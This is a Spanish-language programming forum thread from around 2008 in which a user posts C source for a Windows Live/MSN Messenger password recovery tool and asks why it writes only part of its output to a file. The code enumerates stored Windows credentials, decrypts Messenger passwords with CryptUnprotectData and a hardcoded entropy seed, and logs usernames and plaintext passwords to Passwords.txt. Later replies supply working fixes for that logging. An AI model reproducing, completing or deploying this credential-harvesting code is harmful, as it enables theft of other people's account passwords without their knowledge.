Autor
|
Tema: problema con escritura de archivos (Leído 3,560 veces)
|
drakolive
Desconectado
Mensajes: 141
|
estoy adaptando este codigo, pero al momento de colocarle para que guarde el historial en un archivo no lo hace, solo guarda un caracter, osea guarda cierta parte del texto, pero no completa, lo he probado con el dev c++ alguien me ayuda?? creo que mi problema radica en esta linea: printf("Password : %ls\n\n", CredentialCollection ->CredentialBlob);
por esto: %ls
como solucionoo?
/* Programa que recupera contraseñas almacenadas con Microsoft Messenger, * basado en el código original de Gregory R. Panakkal, http://www.infogreg.com * modificado para Windows Live Messenger. XP SP2 * Testeado con la versión 8 de Windows Live Messenger y 7.0 - 7.5 MSN Messenger. * Compilar con Visual C++ 6. * By dSx. */ #include<windows.h> #include<stdio.h> #include <fstream.h> using namespace std; typedef struct _CREDENTIAL_ATTRIBUTEA { LPSTR Keyword; DWORD Flags; DWORD ValueSize; LPBYTE Value; } CREDENTIAL_ATTRIBUTEA, *PCREDENTIAL_ATTRIBUTEA; typedef struct _CREDENTIALA { DWORD Flags; DWORD Type; LPSTR TargetName; LPSTR Comment; FILETIME LastWritten; DWORD CredentialBlobSize; LPBYTE CredentialBlob; DWORD Persist; DWORD AttributeCount; PCREDENTIAL_ATTRIBUTEA Attributes; LPSTR TargetAlias; LPSTR UserName; } CREDENTIALA, *PCREDENTIALA; typedef struct _CRYPTOAPI_BLOB { DWORD cbData; BYTE* pbData; } DATA_BLOB; typedef struct _CRYPTPROTECT_PROMPTSTRUCT { DWORD cbSize; DWORD dwPromptFlags; HWND hwndApp; LPCWSTR szPrompt; } CRYPTPROTECT_PROMPTSTRUCT; typedef CREDENTIALA CREDENTIAL; typedef PCREDENTIALA PCREDENTIAL; typedef BOOL (WINAPI *typeCryptUnprotectData)( DATA_BLOB *, LPWSTR *, DATA_BLOB *, PVOID *, CRYPTPROTECT_PROMPTSTRUCT *, DWORD, DATA_BLOB * ); typedef BOOL (WINAPI *typeCredEnumerateA)( LPCTSTR, DWORD, DWORD *, PCREDENTIALA ** ); typedef BOOL (WINAPI *typeCredReadA)( LPCTSTR, DWORD, DWORD, PCREDENTIALA * ); typedef VOID (WINAPI *typeCredFree)(PVOID); typeCredEnumerateA pfCredEnumerateA; typeCredReadA pfCredReadA; typeCredFree pfCredFree; typeCryptUnprotectData pfCryptUnprotectData; void showBanner(void); int main() { showBanner(); PCREDENTIAL *CredentialCollection = NULL; DATA_BLOB blobCrypt, blobPlainText, blobEntropy; char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll short int EntropyData[37]; short int tmp, pnet, j; HMODULE hDLL, hDLL2; DWORD Count, i; if (hDLL = LoadLibrary("advapi32.dll")) { pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA"); pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA"); pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree"); if (pfCredEnumerateA == NULL || pfCredReadA == NULL || pfCredFree == NULL) { return -1; } } if (hDLL2 = LoadLibrary("crypt32.dll")) { pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hDLL2, "CryptUnprotectData"); if (pfCryptUnprotectData == NULL) { return -1; } } pfCredEnumerateA(NULL, 0, &Count, &CredentialCollection); printf("\nCount: %d\n", Count ); //Calculate Entropy Data for (i = 0; i < 37; i++) { // strlen(szEntropyStringSeed) = 37 tmp = (short int)szEntropyStringSeed[i]; tmp <<= 2; EntropyData[i] = tmp; } if (Count) { for (i = 0; i < Count; i++) { pnet = strcmp(CredentialCollection [i ]->TargetName , "Passport.Net\\*"); if (!pnet) { blobEntropy.pbData = (BYTE *)&EntropyData; blobEntropy.cbData = 74; //sizeof(EntropyData) blobCrypt.pbData = CredentialCollection[i]->CredentialBlob; blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize; pfCryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText); //showBanner(CredentialCollection[i]->UserName); //log << "asdasdasdas"; printf("<-- MSN Messenger -->\n"); printf("Username : %s\n", CredentialCollection [i ]->UserName ); printf("Password : %ls\n\n", blobPlainText. pbData); } else { ofstream log("Passwords.txt", ios ::app); printf("<-- Windows Live Messenger -->\n"); printf("Username : %s\n", CredentialCollection [i ]->TargetName ); printf("Password : %ls\n\n", CredentialCollection [i ]->CredentialBlob ); log << "<-- Windows Live Messenger -->\n"; log << "Username: " << CredentialCollection [i ]->TargetName << "\n"; log << "Password : " << CredentialCollection [i ]->CredentialBlob << "\n\n" ; } } } pfCredFree(CredentialCollection); return EXIT_SUCCESS; } void showBanner() { }
|
|
|
|
« Última modificación: 5 Junio 2008, 23:50 pm por drakolive »
|
En línea
|
|
|
|
Flakito81
Desconectado
Mensajes: 519
|
Se me ocurre poner algo así sprintf (pass, "%ls", CredentialCollection[i]->CredentialBlob); log << "Password : "<< pass << endl << endl;
siendo pass un array de caracteres: char pass[10];
Un saludo! PD: no te olvides de cerrar el fichero: log.close();
|
|
|
|
« Última modificación: 6 Junio 2008, 11:55 am por Flakito81 »
|
En línea
|
|
|
|
drakolive
Desconectado
Mensajes: 141
|
Gracias!!!!! voy a averiguar para comprender mejor esto: sprintf no sabia ni que hacer, gracias!!!!!! 
|
|
|
|
|
En línea
|
|
|
|
novatu
Desconectado
Mensajes: 6
|
Reemplazar ofstream log("Passwords.txt", ios::app); printf("<-- Windows Live Messenger -->\n"); printf("Username : %s\n", CredentialCollection[i]->TargetName); printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
log << "<-- Windows Live Messenger -->\n"; log << "Username: " << CredentialCollection[i]->TargetName << "\n"; log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;
Por: printf("<-- Windows Live Messenger -->\n"); printf("Username : %s\n", CredentialCollection[i]->TargetName); printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
char texto[512]; sprintf(texto,"<-- Windows Live Messenger -->\n"); sprintf(texto,"%sUsername : %s\n", texto,CredentialCollection[i]->TargetName); sprintf(texto,"%sPassword : %ws\n\n", texto,CredentialCollection[i]->CredentialBlob);
FILE *file; file=fopen("./Passwords.txt","a");
fputs(texto,file);
fclose(file);
|
|
|
|
|
En línea
|
|
|
|
Littlehorse
All the world's a stage
Moderador
 
Desconectado
Mensajes: 2.714
Nie Dam Sie
|
novatu, ten en cuenta que el ultimo post es del 2008. No revivas posts tan antiguos.
Saludos
|
|
|
|
|
En línea
|
An expert is a man who has made all the mistakes which can be made, in a very narrow field.
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Escritura con archivos JAVA
Java
|
rommel89
|
1
|
3,049
|
19 Julio 2012, 07:05 am
por rommel89
|
|
|
escritura de multiples archivos en python
Scripting
|
eolh652
|
3
|
2,909
|
4 Octubre 2013, 14:06 pm
por Softrix18
|
|
|
Sobre-escritura de archivos JAVA
Java
|
yesod
|
5
|
3,255
|
27 Julio 2014, 21:29 pm
por yesod
|
|
|
Ayuda por favor (Con escritura de archivos en C++)
Programación C/C++
|
guirudj007
|
2
|
2,867
|
21 Julio 2016, 00:29 am
por guirudj007
|
|
|
Consulta con respecto a documentacion y escritura de archivos (python)
Scripting
|
Naimaderis
|
6
|
4,490
|
26 Diciembre 2016, 18:57 pm
por hsk75rv
|
|